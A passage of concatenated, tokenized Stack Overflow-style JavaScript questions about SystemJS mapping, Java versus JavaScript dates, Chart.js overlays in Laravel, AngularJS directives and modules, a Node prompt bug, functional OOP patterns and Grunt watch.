node_modules/material-ui/AppBar.js which is not there.If I add individual entries for each module under packages : it works , however wildcards : don't.How do I make System.JS map ./* to ./*/*.js under a certain package ? As a side note , browserify does not have any problems with this layout , so when I bundle my app using browserify just by calling browserify ( './path/to/root/index.js ' ) , all material-ui modules get imported without any issues . import { AppBar , Tabs , Tab , Card , CardTitle } from 'material-ui ' ; System.config ( { baseURL : '/node_modules ' , packageConfigPaths : [ '*/package.json ' ] , packages : { ' . ' : { defaultExtension : 'js ' , main : 'index.js ' } , } } ) ; var _AppBar2 = require ( './AppBar ' ) ; var _AppBar3 = _interopRequireDefault ( _AppBar2 ) ; var _AutoComplete2 = require ( './AutoComplete ' ) ; var _AutoComplete3 = _interopRequireDefault ( _AutoComplete2 ) ; // ... etc , about 40 of them.exports.AppBar = _AppBar3.default ; exports.AutoComplete = _AutoComplete3.default ; // ... etc material-ui/ index.js AppBar/ AppBar.js index.js -- just reexports './AppBar ' AutoComplete/ AutoComplete.js index.js -- just reexports './AutoComplete ' 'material-ui ' : { map : { './AppBar ' : './AppBar/AppBar.js ' } } 'material-ui ' : { map : { './* ' : './*/*.js ' } }",How do I map ./ [ module ] to / [ module ] / [ module ] .js in System.JS ? "JS : I have a difference of how the date 1st Jan 0001 UTC is represented in Java and in JavascriptIn Java : In JavaScript : Why the date , 1 Jan 0001 UTC , that is represented by the time -62135769600000L in Java , is not represented as 1st of January when displayed in Javascript ? TimeZone utcTimeZone = TimeZone.getTimeZone ( `` UTC '' ) ; Calendar cal = Calendar.getInstance ( utcTimeZone ) ; cal.clear ( ) ; //1st Jan 0001cal.set ( 1 , 0 , 1 ) ; Date date = cal.getTime ( ) ; System.out.println ( date ) ; //Sat Jan 01 00:00:00 GMT 1System.out.println ( date.getTime ( ) ) ; // -62135769600000 var date = new Date ( ) ; date.setTime ( -62135769600000 ) ; date.toUTCString ( ) ; // '' Sat , 30 Dec 0 00:00:00 GMT ''",Difference between Java and Javascript on 1st Jan 0001 UTC "JS : I am using chart.js in laravel 5.2 . When I go to my page , all the charts are automatically loaded ( but this should not happen ) . Also , i am not using window.load or window.onload function.It should open only on the click ( here , on clicking pic ) jsfiddle link : https : //jsfiddle.net/Lxdhhj7j/EDIT : I think overlay is loaded automatically . < div class= '' container-fluid '' > < div id= '' myNav1 '' class= '' overlay '' > < a href= '' javascript : void ( 0 ) '' class= '' closebtn '' onclick= '' closeNav1 ( ) '' > × < /a > < div class= '' overlay-content '' > < script > var year1 = [ 'FIRST ' , 'SECOND ' , 'THIRD ' , 'FOURTH ' , 'FIFTH ' ] ; var data_viewer = < ? php echo $ viewer ; ? > ; var data_viewer1 = < ? php echo $ viewer1 ; ? > ; var data_viewer2 = < ? php echo $ viewer2 ; ? > ; var data_viewer3 = < ? php echo $ viewer3 ; ? > ; var data_viewer4 = < ? php echo $ viewer4 ; ? > ; var data_viewer5 = < ? php echo $ viewer5 ; ? > ; var data_click = < ? php echo $ click ; ? > ; var data_click1 = < ? php echo $ click1 ; ? > ; var data_click2 = < ? php echo $ click2 ; ? > ; var data_click3 = < ? php echo $ click3 ; ? > ; var data_click4 = < ? php echo $ click4 ; ? > ; var data_click5 = < ? php echo $ click5 ; ? > ; var barChartData1 = { labels : year1 , datasets : [ { label : 'STUDS ' , backgroundColor : `` rgba ( 65,105,225,0.5 ) '' , data : data_click } , { label : 'ANGELS ' , backgroundColor : `` rgba ( 255,105,180,0.5 ) '' , data : data_viewer } ] , } ; function chart1 ( ) { var ctx1 = document.getElementById ( `` canvas1 '' ) .getContext ( `` 2d '' ) ; var myBar1 = new Chart ( ctx1 , { type : 'horizontalBar ' , data : barChartData1 , options : { elements : { rectangle : { borderWidth : 2 , borderColor : 'rgb ( 169 , 169 , 169 ) ' , borderSkipped : 'bottom ' } } , scales : { xAxes : [ { ticks : { min : 0 , beginAtZero : true } } ] } , responsive : true , title : { display : true , text : 'RATING CHART ' } } } ) ; } ; < /script > < br > < form action= '' done '' method= '' get '' accept-charset= '' utf-8 '' > < div class= '' container '' > < div class= '' row '' > < div class= '' col-md-7 '' > < div class= '' panel panel-default '' > < div class= '' panel-heading '' > TOP 10 < /div > < div class= '' panel-body '' > < div class= '' row '' > < section class= '' col-md-12 '' > < canvas id= '' canvas1 '' height= '' 700 '' width= '' 950 '' > < /canvas > < /section > < section class= '' col-md-2 '' > < /section > < /div > < /div > < /div > < /div > < section class= '' col-md-offset-1 col-md-4 '' > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < section style= '' '' class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE STUDS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( data_click1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( data_click2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( data_click3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( data_click4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( data_click5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < div class= '' row '' > < section class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE ANGELS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding-left:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( data_viewer1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( data_viewer2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( data_viewer3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( data_viewer4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( data_viewer5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < /div > < /section > < /div > < /div > < /form > < ! -- graph goes here ! -- > < /div > < /div > < div id= '' myNav2 '' class= '' overlay '' > < a href= '' javascript : void ( 0 ) '' class= '' closebtn '' onclick= '' closeNav2 ( ) '' > × < /a > < div class= '' overlay-content '' > < script > var year2 = [ 'FIRST ' , 'SECOND ' , 'THIRD ' , 'FOURTH ' , 'FIFTH ' ] ; var secondfemale = < ? php echo $ secondfemale ; ? > ; var secondfemale1 = < ? php echo $ secondfemale1 ; ? > ; var secondfemale2 = < ? php echo $ secondfemale2 ; ? > ; var secondfemale3= < ? php echo $ secondfemale3 ; ? > ; var secondfemale4 = < ? php echo $ secondfemale4 ; ? > ; var secondfemale5 = < ? php echo $ secondfemale5 ; ? > ; var secondmale = < ? php echo $ secondmale ; ? > ; var secondmale1 = < ? php echo $ secondmale1 ; ? > ; var secondmale2 = < ? php echo $ secondmale2 ; ? > ; var secondmale3 = < ? php echo $ secondmale3 ; ? > ; var secondmale4 = < ? php echo $ secondmale4 ; ? > ; var secondmale5 = < ? php echo $ secondmale5 ; ? > ; var barChartData2 = { labels : year2 , datasets : [ { label : 'STUDS ' , backgroundColor : `` rgba ( 65,105,225,0.5 ) '' , data : secondmale } , { label : 'ANGELS ' , backgroundColor : `` rgba ( 255,105,180,0.5 ) '' , data : secondfemale } ] , } ; function chart2 ( ) { var ctx2 = document.getElementById ( `` canvas2 '' ) .getContext ( `` 2d '' ) ; var myBar2 = new Chart ( ctx2 , { type : 'horizontalBar ' , data : barChartData2 , options : { elements : { rectangle : { borderWidth : 2 , borderColor : 'rgb ( 169 , 169 , 169 ) ' , borderSkipped : 'bottom ' } } , scales : { xAxes : [ { ticks : { min : 0 , beginAtZero : true } } ] } , responsive : true , title : { display : true , text : 'RATING CHART ' } } } ) ; } ; setTimeout ( chart2 , 30 ) < /script > < br > < form action= '' done '' method= '' get '' accept-charset= '' utf-8 '' > < div class= '' container '' > < div class= '' row '' > < div class= '' col-md-7 '' > < div class= '' panel panel-default '' > < div class= '' panel-heading '' > TOP 10 < /div > < div class= '' panel-body '' > < div class= '' row '' > < section class= '' col-md-12 '' > < canvas id= '' canvas2 '' height= '' 700 '' width= '' 950 '' > < /canvas > < /section > < section class= '' col-md-2 '' > < /section > < /div > < /div > < /div > < /div > < section class= '' col-md-offset-1 col-md-4 '' > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < section style= '' '' class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE STUDS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( secondmale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( secondmale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( secondmale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( secondmale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( secondmale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < div class= '' row '' > < section class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE ANGELS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding-left:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( secondfemale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( secondfemale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( secondfemale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( secondfemale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( secondfemale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < /div > < /section > < /div > < /div > < /form > < ! -- graph goes here ! -- > < /div > < /div > < div id= '' myNav3 '' class= '' overlay '' > < a href= '' javascript : void ( 0 ) '' class= '' closebtn '' onclick= '' closeNav3 ( ) '' > × < /a > < div class= '' overlay-content '' > < script > var year3 = [ 'FIRST ' , 'SECOND ' , 'THIRD ' , 'FOURTH ' , 'FIFTH ' ] ; var thirdfemale = < ? php echo $ thirdfemale ; ? > ; var thirdfemale1 = < ? php echo $ thirdfemale1 ; ? > ; var thirdfemale2 = < ? php echo $ thirdfemale2 ; ? > ; var thirdfemale3 = < ? php echo $ thirdfemale3 ; ? > ; var thirdfemale4 = < ? php echo $ thirdfemale4 ; ? > ; var thirdfemale5 = < ? php echo $ thirdfemale5 ; ? > ; var thirdmale = < ? php echo $ thirdmale ; ? > ; var thirdmale1 = < ? php echo $ thirdmale1 ; ? > ; var thirdmale2 = < ? php echo $ thirdmale2 ; ? > ; var thirdmale3 = < ? php echo $ thirdmale3 ; ? > ; var thirdmale4 = < ? php echo $ thirdmale4 ; ? > ; var thirdmale5 = < ? php echo $ thirdmale5 ; ? > ; var barChartData3 = { labels : year3 , datasets : [ { label : 'STUDS ' , backgroundColor : `` rgba ( 65,105,225,0.5 ) '' , data : thirdmale } , { label : 'ANGELS ' , backgroundColor : `` rgba ( 255,105,180,0.5 ) '' , data : thirdfemale } ] , } ; function chart3 ( ) { var ctx3 = document.getElementById ( `` canvas3 '' ) .getContext ( `` 2d '' ) ; var myBar3 = new Chart ( ctx3 , { type : 'horizontalBar ' , data : barChartData3 , options : { elements : { rectangle : { borderWidth : 2 , borderColor : 'rgb ( 169 , 169 , 169 ) ' , borderSkipped : 'bottom ' } } , scales : { xAxes : [ { ticks : { min : 0 , beginAtZero : true } } ] } , responsive : true , title : { display : true , text : 'RATING CHART ' } } } ) ; } ; setTimeout ( chart3 , 30 ) ; < /script > < br > < form action= '' done '' method= '' get '' accept-charset= '' utf-8 '' > < div class= '' container '' > < div class= '' row '' > < div class= '' col-md-7 '' > < div class= '' panel panel-default '' > < div class= '' panel-heading '' > TOP 10 < /div > < div class= '' panel-body '' > < div class= '' row '' > < section class= '' col-md-12 '' > < canvas id= '' canvas3 '' height= '' 700 '' width= '' 950 '' > < /canvas > < /section > < section class= '' col-md-2 '' > < /section > < /div > < /div > < /div > < /div > < section class= '' col-md-offset-1 col-md-4 '' > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < section style= '' '' class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE STUDS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( thirdmale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( thirdmale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( thirdmale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( thirdmale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( thirdmale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < div class= '' row '' > < section class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE ANGELS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding-left:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( thirdfemale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( thirdfemale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( thirdfemale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( thirdfemale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( thirdfemale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < /div > < /section > < /div > < /div > < /form > < ! -- graph goes here ! -- > < /div > < /div > < div id= '' myNav4 '' class= '' overlay '' > < a href= '' javascript : void ( 0 ) '' class= '' closebtn '' onclick= '' closeNav4 ( ) '' > × < /a > < div class= '' overlay-content '' > < script > var year4 = [ 'FIRST ' , 'SECOND ' , 'THIRD ' , 'FOURTH ' , 'FIFTH ' ] ; var fourthfemale = < ? php echo $ fourthfemale ; ? > ; var fourthfemale1 = < ? php echo $ fourthfemale1 ; ? > ; var fourthfemale2 = < ? php echo $ fourthfemale2 ; ? > ; var fourthfemale3 = < ? php echo $ fourthfemale3 ; ? > ; var fourthfemale4 = < ? php echo $ fourthfemale4 ; ? > ; var fourthfemale5 = < ? php echo $ fourthfemale5 ; ? > ; var fourthmale = < ? php echo $ fourthmale ; ? > ; var fourthmale1 = < ? php echo $ fourthmale1 ; ? > ; var fourthmale2 = < ? php echo $ fourthmale2 ; ? > ; var fourthmale3 = < ? php echo $ fourthmale3 ; ? > ; var fourthmale4 = < ? php echo $ fourthmale4 ; ? > ; var fourthmale5 = < ? php echo $ fourthmale5 ; ? > ; var barChartData4 = { labels : year4 , datasets : [ { label : 'STUDS ' , backgroundColor : `` rgba ( 65,105,225,0.5 ) '' , data : fourthmale } , { label : 'ANGELS ' , backgroundColor : `` rgba ( 255,105,180,0.5 ) '' , data : fourthfemale } ] , } ; function chart4 ( ) { var ctx4 = document.getElementById ( `` canvas4 '' ) .getContext ( `` 2d '' ) ; window.myBar4 = new Chart ( ctx4 , { type : 'horizontalBar ' , data : barChartData4 , options : { elements : { rectangle : { borderWidth : 2 , borderColor : 'rgb ( 169 , 169 , 169 ) ' , borderSkipped : 'bottom ' } } , scales : { xAxes : [ { ticks : { min : 0 , beginAtZero : true } } ] } , responsive : true , title : { display : true , text : 'RATING CHART ' } } } ) ; } ; // var nav4=document.getElementById ( `` myNav4 '' ) // nav4.onclick = function ( ) { setTimeout ( chart4 , 30 ) // } < /script > < br > < form action= '' done '' method= '' get '' accept-charset= '' utf-8 '' > < div class= '' container '' > < div class= '' row '' > < div class= '' col-md-7 '' > < div class= '' panel panel-default '' > < div class= '' panel-heading '' > TOP 10 < /div > < div class= '' panel-body '' > < div class= '' row '' > < section class= '' col-md-12 '' > < canvas id= '' canvas4 '' height= '' 700 '' width= '' 950 '' > < /canvas > < /section > < section class= '' col-md-2 '' > < /section > < /div > < /div > < /div > < /div > < section class= '' col-md-offset-1 col-md-4 '' > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < section style= '' '' class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE STUDS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( fourthmale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( fourthmale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( fourthmale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( fourthmale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( fourthmale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < div class= '' row '' > < div style= '' padding-top:10px ; padding-bottom:10px ; padding-left:50px ; '' class= '' jumbotron '' > < div class= '' row '' > < section class= '' col-md-12 '' > < h4 style= '' font-weight : bold ; font-size:28px ; '' > COLLEGE ANGELS < /h4 > < /section > < section class= '' col-md-offset-1 '' > < ul style= '' padding-left:0px ; font-size:20px ; color : black ; '' > < li > Rank 1 : < script > document.writeln ( fourthfemale1 ) < /script > < /li > < li > Rank 2 : < script > document.writeln ( fourthfemale2 ) < /script > < /li > < li > Rank 3 : < script > document.writeln ( fourthfemale3 ) < /script > < /li > < li > Rank 4 : < script > document.writeln ( fourthfemale4 ) < /script > < /li > < li > Rank 5 : < script > document.writeln ( fourthfemale5 ) < /script > < /li > < /ul > < /section > < /div > < /div > < /div > < /section > < /div > < /div > < /form > < ! -- graph goes here ! -- > < /div > < /div > < ! -- Brand and toggle get grouped for better mobile display -- > < nav id= '' in '' class= '' navbar navbar-inverse '' > < div class= '' container-fluid '' > < ! -- Brand and toggle get grouped for better mobile display -- > < ! -- /.navbar-collapse -- > < div class= '' row '' > < section id= '' aks '' class= '' col-md-1 '' > AksOut~ < /section > < section class= '' col-lg-6 col-sm-12 col-xs-12 col-md-6 col-lg-offset-1 col-md-offset-3 '' > < span id= '' know '' > < u > Know your collegemates better ... < /u > < /span > < /section > < /div > < nav class= '' navbar navbar-default '' > < div class= '' container-fluid '' > < ! -- Brand and toggle get grouped for better mobile display -- > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle collapsed '' data-toggle= '' collapse '' data-target= '' # defaultNavbar1 '' > < span class= '' sr-only '' > Toggle navigation < /span > Menu < span class= '' glphicon glyphicon-chevron down '' > < /span > < /button > < ! -- Collect the nav links , forms , and other content for toggling -- > < div class= '' collapse navbar-collapse '' id= '' defaultNavbar1 '' > < ul class= '' nav navbar-nav '' > < li id= '' menu '' > < a href= '' crush.html '' > MyPlace < /a > < /li > < li id= '' menu '' > < a href= '' # '' > Interact < /a > < /li > < li id= '' menu '' > < a href= '' # '' > Happenings < /a > < /li > < li id= '' menu '' > < a href= '' # '' > News < /a > < /li > < li id= '' menu '' > < a href= '' # '' > reports < /a > < /li > < li id= '' menu '' > < a href= '' # '' > ThinkTank < /a > < /li > < li id= '' menu '' > < a href= '' # '' > TalentPool < /a > < /li > < /ul > < form class= '' navbar-form navbar-left '' role= '' search '' > < ! -- search bar -- > < div class= '' form-group '' > < input type= '' text '' class= '' form-control '' placeholder= '' Search '' > < /div > < button type= '' submit '' class= '' btn btn-default '' > Search < /button > < /form > < /div > < ! -- /.navbar-collapse -- > < /div > < ! -- /.container-fluid -- > < /nav > < /div > < /nav > < div class= '' container-fluid '' > < div class= '' row '' > < br > < div class= '' row '' > < div class= '' col-lg-1 '' > < /div > < div class= '' col-lg-1 '' > < /div > < div class= '' col-lg-3 '' > < /div > < div class= '' col-lg-3 '' > < /div > < section class= '' col-lg-1 '' id= '' svg '' > < /section > < section class= '' col-lg-3 '' > < label id= '' label1 '' > score < /label > < /section > < section class= '' col-lg-2 '' > < input type= '' text '' > < /section > < /div > < /br > < /div > < div class= '' row '' > < div class= '' col-lg-3 '' > < /div > < div class= '' col-lg-1 col-lg-offset-5 '' > < button type= '' button '' class= '' btn btn-sm btn-default '' id= '' messages '' > Friends < /button > < /div > < div class= '' col-lg-1 '' > < div class= '' btn-group '' > < button type= '' button '' id= '' messages '' class= '' btn btn-sm btn-default dropdown-toggle '' data-toggle= '' dropdown '' aria-expanded= '' false '' > Chat < span class= '' caret '' > < /span > < /button > < ul class= '' dropdown-menu '' role= '' menu '' > < li role= '' presentation '' class= '' dropdown-header '' > Dropdown header 1 < /li > < li role= '' presentation '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > First Link < /a > < /li > < li role= '' presentation '' class= '' disabled '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > Disabled Link < /a > < /li > < li role= '' presentation '' class= '' divider '' > < /li > < li role= '' presentation '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > Separated Link < /a > < /li > < /ul > < /div > < /div > < div class= '' col-lg-1 '' > < div class= '' btn-group '' > < button id= '' messages '' type= '' button '' class= '' btn btn-sm btn-default dropdown-toggle '' data-toggle= '' dropdown '' aria-expanded= '' false '' > Messages < span class= '' caret '' > < /span > < /button > < ul class= '' dropdown-menu '' role= '' menu '' > < li role= '' presentation '' class= '' dropdown-header '' > Dropdown header 1 < /li > < li role= '' presentation '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > First Link < /a > < /li > < li role= '' presentation '' class= '' disabled '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > Disabled Link < /a > < /li > < li role= '' presentation '' class= '' divider '' > < /li > < li role= '' presentation '' > < a role= '' menuitem '' tabindex= '' -1 '' href= '' # '' > Separated Link < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' row '' > < div class= '' col-lg-6 '' > < /div > < div class= '' col-lg-6 '' > < /div > < /div > < div class= '' row '' > < div class= '' col-md-3 col-lg-3 '' > < span id= '' span1 '' style= '' font-size:30px ; cursor : pointer ; '' onclick= '' openNav1 ( ) '' > < br > < div > < img id= '' img1 '' src= '' pic/1 ( 1 ) .jpg '' width= '' 250 '' height= '' 250 '' class= '' img-circle img-responsive '' alt= '' '' / > < /div > < /br > < /span > < /div > < div class= '' col-md-3 col-lg-offset-2 '' > < span id= '' span2 '' style= '' font-size:30px ; cursor : pointer ; '' onclick= '' openNav2 ( ) '' > < br > < div > < img id= '' img2 '' src= '' pic/1 ( 44 ) .jpg '' width= '' 250 '' height= '' 250 '' class= '' img-circle img-responsive '' alt= '' '' / > < /div > < /br > < /span > < /div > < /div > < div class= '' row '' > < div class= '' col-md-3 col-lg-offset-1 '' > < span id= '' span3 '' style= '' font-size:30px ; cursor : pointer ; '' onclick= '' openNav3 ( ) '' > < br > < div > < img id= '' img3 '' src= '' pic/1 ( 45 ) .jpg '' width= '' 250 '' height= '' 250 '' class= '' img-circle img-responsive '' alt= '' '' / > < /div > < /br > < /span > < /div > < div class= '' col-md-3 col-lg-offset-2 '' > < span id= '' span4 '' style= '' font-size:30px ; cursor : pointer ; '' onclick= '' openNav4 ( ) '' > < br > < div > < img id= '' img4 '' src= '' pic/1 ( 46 ) .jpg '' width= '' 250 '' height= '' 250 '' class= '' img-circle img-responsive '' alt= '' '' / > < /div > < /br > < /span > < /div > < div class= '' col-md-3 '' > < div class= '' panel panel-default '' > < div class= '' panel-heading '' id= '' panel '' > < h3 class= '' panel-title '' id= '' have '' > Groups < /h3 > < /div > < div class= '' panel-body '' id= '' grpfoot '' > < div class= '' col-md-4 '' > < img src= '' images/ImgResponsive_Placeholder.png '' class= '' img-circle img-responsive '' alt= '' Placeholder image '' > < /div > < div class= '' col-md-4 col-lg-8 '' > < input type= '' text '' name= '' textfield '' id= '' textfield '' > < /div > < div > < /div > < /div > < div id= '' see '' class= '' panel-footer '' > < button type= '' button '' class= '' btn btn-sm btn-default '' > SeeMore > > < /button > < div class= '' pull-right '' > < button type= '' button '' class= '' btn btn-sm btn-default '' > Create < /button > < /div > < /div > < /div > < /div > < div class= '' col-lg-6 '' > < /div > < /div > < script > function openNav1 ( ) { document.getElementById ( `` myNav1 '' ) .style.width = `` 100 % '' ; chart1 ( ) ; } function closeNav1 ( ) { document.getElementById ( `` myNav1 '' ) .style.width = `` 0 % '' ; } < /script > < script > function openNav2 ( ) { document.getElementById ( `` myNav2 '' ) .style.width = `` 100 % '' ; chart2 ( ) ; } function closeNav2 ( ) { document.getElementById ( `` myNav2 '' ) .style.width = `` 0 % '' ; } < /script > < script > function openNav3 ( ) { document.getElementById ( `` myNav3 '' ) .style.width = `` 100 % '' ; chart3 ( ) ; } function closeNav3 ( ) { document.getElementById ( `` myNav3 '' ) .style.width = `` 0 % '' ; } < /script > < script > function openNav4 ( ) { document.getElementById ( `` myNav4 '' ) .style.width = `` 100 % '' ; chart4 ( ) ; } function closeNav4 ( ) { document.getElementById ( `` myNav4 '' ) .style.width = `` 0 % '' ; } < /script >",Bug : Overlay loading automatically ( bootstrap ) ( laravel 5.2 ) "JS : If i have a custom modal directive that looks something like this : and the html : how can i make sure that the modal does n't exist in the DOM when it 's closed and once open it inserts itself into the DOM ? I have to insert the directive into the html or else the directive wo n't work but that means that when i run the application the modal already exists in the html even if it was n't opened.I created a plunker of what i have so far here but it only hides/shows the modal using css classes instead of removing it completelyEDIT : I created another version here which actually adds/removes the directive from the DOM . It 's based on this article but it requires splitting the logic for adding/removing the directive between the directive and an external controller ( The external controller handles adding the element and the directive handles the removing ) . I want the directive to handle everything , is this possible ? return { restirct : ' E ' , templateUrl : 'modal.html ' , scope : { modalContent : `` = '' , modalOpen : `` = '' } } < ng-modal modal-content= '' content '' modal-open '' active '' > < /ng-modal >",AngularJS : How to create a directive that adds/removes itself from DOM when needed ? "JS : I 'm currently taking a course on Coursera , and doing an exercise using node.js code to calculate a quadratic expression . All the code is given and this exercise is merely to get us to know node.js , but still I 'm encountering a problem entering a prompt.the code is here : As you see , I 'm using the prompt module , but when I enter the input for a , the cmd is skipping the input for b and requesting me to enter ` c , which in turn of couse , resulting in an error . How to fix this issue , and why does it happen ? var quad = require ( './quadratic ' ) ; var prompt = require ( 'prompt ' ) ; prompt.get ( [ ' a ' , ' b ' , ' c ' ] , function ( err , result ) { if ( err ) { return onErr ( err ) ; } console.log ( 'Command-line input received : ' ) ; console.log ( ' a : ' + result.a ) ; console.log ( ' b : ' + result.b ) ; console.log ( ' c : ' + result.c ) ; quad ( result.a , result.b , result.c , function ( err , quadsolve ) { if ( err ) { console.log ( 'Error : ' , err ) ; } else { console.log ( `` Roots are `` +quadsolve.root1 ( ) + `` `` + quadsolve.root2 ( ) ) ; } } ) ; } ) ;",Node.js prompt skipping input "JS : I am having 3 modules in my AngularJS App , e.g . main , home and product . main module having home and product module as dependencies ( ng.module ( 'main ' , [ 'home ' , 'product ' ] ) ) while home and product modules are not having any dependencies ( ng.module ( 'product ' , [ ] ) ng.module ( 'phome ' , [ ] ) ) , still product module can access home module service ? WHY ? ? ? Below is sample code of my application , which is having the same scenario and same issue . And this is JSfiddle Link . < ! DOCTYPE html > < html ng-app= '' main '' > < body ng-controller= '' MainController as mainController '' > { { mainController.name } } < script type= '' application/javascript '' src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js '' > < /script > < script > ( function ( ng ) { var homeModule = ng.module ( 'home ' , [ ] ) ; homeModule.service ( `` HomeService '' , [ function ( ) { var homeService = this ; homeService.getName = function ( ) { return `` Home Service '' ; } } ] ) ; var productModule = ng.module ( 'product ' , [ ] ) ; productModule.service ( `` ProductService '' , [ `` HomeService '' , function ( HomeService ) { var productService = this ; productService.getName = function ( ) { return `` Product Service - `` + HomeService.getName ( ) ; } ; } ] ) ; var mainModule = ng.module ( 'main ' , [ 'home ' , 'product ' ] ) ; mainModule.controller ( `` MainController '' , [ 'ProductService ' , function ( ProductService ) { var mainController = this ; mainController.name = ProductService.getName ( ) ; } ] ) ; } ) ( angular ) ; < /script > < /body > < /html >",Why 2 different Module can access each other when added as depend to third module ? "JS : I prefer to use functional OOP style for my code ( similar to the module pattern ) because it helps me to avoid the `` new '' keyword and all problems with the scope of `` this '' keyword in callbacks.But I 've run into a few minor issues with it . I would like to use the following code to create a class.The problem is that I ca n't call public methods from my initialization code , as these functions are not defined yet . The obvious solution would be to create an init method , and call it before `` return self '' line . But maybe you know a more elegant solution ? Also , how do you usually handle inheritance with this pattern ? I use the following code , butI would like to hear your ideas and suggestions.Edit . For those who asked what are the reasons for choosing this style of OOP , you can look into following questions : Prototypal vs Functional OOP in JavaScriptIs JavaScript 's `` new '' keyword considered harmful ? namespace.myClass = function ( ) { var self = { } , somePrivateVar1 ; // initialization code that would call // private or public methods privateMethod ( ) ; self.publicMethod ( ) ; // sorry , error here function privateMethod ( ) { } self.publicMethod = function ( ) { } ; return self ; } namespace.myClass2 = function ( ) { var self = namespace.parentClass ( ) , somePrivateVar1 ; var superMethod = self.someMethod ; self.someMethod = function ( ) { // example shows how to overwrite parent methods superMethod ( ) ; } ; return self ; }",Question about functional OOP style in JavaScript "JS : I 've got an issue with Grunt Watch currently not re-running tasks after compilation error correction.I get the error message , but then after correcting the error , grunt says the file has been changed , but no tasks are run after that point.Grunt file : Error log : End of file . Nothing after this point . watch : { less : { files : [ 'public/assets/less/**/*.less ' ] , tasks : [ 'css ' ] , options : { atBegin : true , nospawn : true } } , scripts : { files : [ 'public/assets/js/homepage.js ' ] , tasks : [ 'jsApp ' ] , options : { nospawn : true , } } } , > > ParseError : Unrecognised input in public/assets/less/template.less on line 114 , column 31 : > > 114 @ media screen and ( max-width : 767px ) { > > 115 left : 0 ; Warning : Error compiling public/assets/less/main.less// -- -- - 